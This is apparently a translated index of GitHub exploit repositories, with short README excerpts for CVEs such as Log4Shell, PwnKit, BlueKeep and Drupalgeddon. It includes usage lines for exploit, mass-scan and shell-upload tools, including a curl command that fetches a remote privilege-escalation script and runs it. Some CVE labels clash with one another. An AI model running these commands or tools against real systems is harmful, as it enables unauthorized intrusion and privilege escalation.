jscpwn

CVE-2016-4622 CVE-2016-4622용 PoC 익스플로잇. 버그에 대한 자세한 분석은 phrack에서 확인하세요...

CVE-2018-5146

CVE-2018-5146의 exp 및 poc poc.ogg: 직접 구성한 poc 파일 cve-test2.html: exploit 파일 crctest.exe: ogg 파일의 crc32 계산...

28458

CVE-2020-28458 해당 패키지의 영향을 받는 버전은 Prototype Pollution에 취약합니다. datatables v1.10.16-1.10.16 사용법 Python 스크립트를 실행하고 필요한 입력값을 입력하십시오: Target URL Proxy URL 선택사항, 없으면 비워둠 Timeout 초 단위, 기본값 10 예시: python3 exploit.py 이 스크립트는 더 나은 출력을 위해 로깅을 사용하며, 가능한 경우 JSON 응답을 파싱하여 prototype pollution을 검사합니다...

CVE-2024-9264

CVE-2024-9264 python CVE-2024-9264.py '' -u '' -p '' -c ''...

CVE-2021-44228-Demo

CVE-2021-44228-Demo 이 프로젝트는 제로데이 log4j 익스플로잇을 증명하고 테스트하기 위한 것입니다. 의존성 확인 ./mvnw dependency:list 패치 A 환경 변수 LOG4JFORMATMSGNOLOOKUPS=true 설정 B vm 옵션 추가: -Dlog4j2.formatMsgNoLookups=true C.1 log4j2.formatMsgNoLookups=true 속성 추가 작동 안 함 C.2 log4j.formatMsgNoLookups=true 속성 추가 작동 안 함 D 2.15.0으로 업데이트 E...

CVE-2018-0802

CVE-2018-0802 CVE-2018-08022: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802 MITRE CVE-2018-0802: https://vulners.com/cve/CVE-2018-0802 0patch 익스플로잇 및 패치 영상: https://www.youtube.com/watch?v=XU-U4K270Z4 Qihoo 360 블로그 포스트 http://www.freebuf.com/vuls/159789.html...

CVE-2019-5784-PoC

CVE-2019-5784-PoC CVE-2019-5784에 대한 개념 증명 파일 main.js: 실제 취약점 html.html: 불필요함...

CVE-2020-14871-Exploit

CVE 2020-14871 Solaris 익스플로잇 이것은 CVE 2020-14871을 위한 기본적인 ROP 기반 익스플로잇입니다. CVE 2020-14871은 Sun Solaris 시스템의 취약점입니다. 실제 취약점은 PAM parseusername 함수에 있는 전형적인 스택 기반 버퍼 오버플로입니다. SSH 클라이언트 설정을 조작하여 Keyboard-Interactive 인증이 사용자 이름을 묻도록 강제함으로써 도달할 수 있으며, 공격자는 이후 PAM parseusername 함수에 무제한 입력을 전달할 수 있습니다...

CVE-2017-8367

CVE-2017-8367 脆弱性CVE-2017-8367 Easy Mov ConverterのRegister機能におけるスタックベースのバッファオーバーフローに対するPoCエクスプロイト。 使用方法 スクリプトを実行すると、ペイロードを含むファイルPOCPayload.txt が作成されます。 python3 payloadgeneratorCVE-2017-15950.py 出力ファイルをメモ帳で開き、ASCII出力をコピーしてEasy Mov ConverterのRegister機能のusernameフィールドに貼り付けます。...

CVE-2008-4654

CVE-2008-4654 TiVo Ty 파일 확장자를 통해 발생하는 VLC Media Player의 스택 기반 버퍼 오버플로 취약점CVE-2008-4654에 대한 PoC 익스플로잇입니다. 사용법 스크립트가 있는 동일한 폴더에 샘플 .ty+ 파일을 넣은 상태에서 스크립트를 실행하세요. ty+ 파일은 VLC Media Player로 열릴 때 페이로드를 실행하도록 수정됩니다. 페이로드를 포함하는 파일의 이름은 POCPayload.ty+가 됩니다. python3 payloadGeneratorCVE-2008-4654.py...

cve-2013-2094

= CVE-2013-2094 코드 http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/ == 빌드 방법 원하는 C 파일을 다음과 같이 빌드해야 합니다: gcc -O2 file-name.c -O2는 익스플로잇이 실제로 동작하는 방식 때문에 필요합니다자세한 내용은 블로그 게시물을 참조하세요. == 왜 원본 익스플로잇이 멋지고 정말 흥미롭다고 생각했지만, 특히 초보자들이 이해하기 어렵다고 느껴서 약간 재작성하고 ...

CVE-2021-43798-Exploit-for-Windows-and-Linux

CVE-2021-43798-Windows 및 Linux용 익스플로잇 CVE-2021-43798에 대한 수정된 익스플로잇입니다. Original exploit code: https://www.exploit-db.com/exploits/50581 변경 사항: 이 수정된 버전은 Windows 및 Linux 기본 서버 모두와 호환됩니다. 사용자가 절대 경로예: C:\Windows\System32\drivers\etc\hosts를 입력하면, 이 프로그램은 경로를 상대 경로Windows\System32\drivers\etc\hosts로...

PwnKit

PwnKit CVE-2021-4034 - Pkexec 로컬 권한 상승 취약점에 대한 자체 포함 익스플로잇 사용법 Ubuntu, Debian, Fedora 및 CentOS 기반의 취약한 Linux 배포판에서 기본적으로 바로 작동합니다. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 수동 실행 curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit...

CVE-2017-5638

CVE-2017-5638 CVE: 2017-5638 다양한 형식으로 대부분은 URL을 입력해야 하며 명령어를 변경하고 싶을 수도 있습니다. URL과 명령어를 입력할 수 있게 만들 수 있다면 풀 리퀘스트를 보내 주세요! PHP - 예시: http://localhost/2017-5638.php?url=TARGET&cmd=command XMLHttpRequest - CVE-2017-5638.js -- 대상 서버에 Access-Control-Allow-Origin이 설정되고 호스트 페이지가 허용되어야 합니다. 그 외의 항목들은 추가...

Cgi-Exploit-Jp-Shell-Upload

Cgi-Exploit-Jp-Shell-Upload Python 2.7 읽어 보세요 : 이 Python 도구를 편집기에서 열거나 코드 일부를 삭제하지 마세요. 오류가 발생할 수 있습니다. 오류가 발생하면 이 Github에서 다시 설치해 주세요. 감사합니다. 또한 예제 사이트 http://site.com 앞에 http://를 사용하세요. 기부 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614...

CVE-2018-7600-Drupal7

CVE-2018-7600-Drupal7 CVE-2018-7600【Drupal7】대량 스캔 도구입니다. 주 파일: CVE-2018-7600-Drupal7.py 실제로는 whoami exp를 래핑한 것입니다. Drupal7/8의 원리는 동일하지만 이 스크립트는 현재 7에만 맞춰져 있습니다. target.txt를 대상 입력으로 제공하며, 결과는 자동으로 result.txt 파일에 출력됩니다. 오래전에 작성한 스크립트라 지금 공유합니다. 부족한 점이 있더라도 양해 부탁드립니다. Demo： 제가 물을 뺐다고 하실까 봐, 단일 대상 EX...

CVE-2020-27955

CVE-2020-27955 감사합니다 https://medium.com/bugbountywriteup/git-lfs-exploit-for-remote-code-execution-cve-2020-27955-e8f4786163c3...

CVE-2020-17519-Exp

CVE-2020-17519-Exp CVE-2020-17519 EXP...

Detect-CVE-2017-0144-attack

CVE-2017-0144 공격 탐지 Python 프로그램 네트워크 트래픽을 실시간으로 지속적으로 추적·모니터링하는 Python 프로그램입니다. CVE-2017-0144EternalBlue 공격을 탐지하면 콘솔 화면에 경고를 표시합니다. 1. 랩 구성 모델 이 랩은 VMWare의 3대의 가상 머신으로 구성됩니다. 공격자 PCKali Linux 1대, 피해자 PCWindows 7 - 64bit SP1 1대, 모니터링 PCWindows 10 1대입니다. 각 머신은 동일한 네트워크 카드NAT를 사용하며 서로 ping이 가능하도록 해야...

CVE-2019-0708-EXP-MSF-

CVE-2019-0708-EXP-MSF- CVE-2019-0708-EXPMSF cve-2019-0708の脆弱性エクスプロイトプログラム msfのバージョンは5.0.4以上である必要があります mkdir -p /usr/share/metasploit-framework/modules/exploit/windows/rdp/ mkdir -p /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ mkdir -p...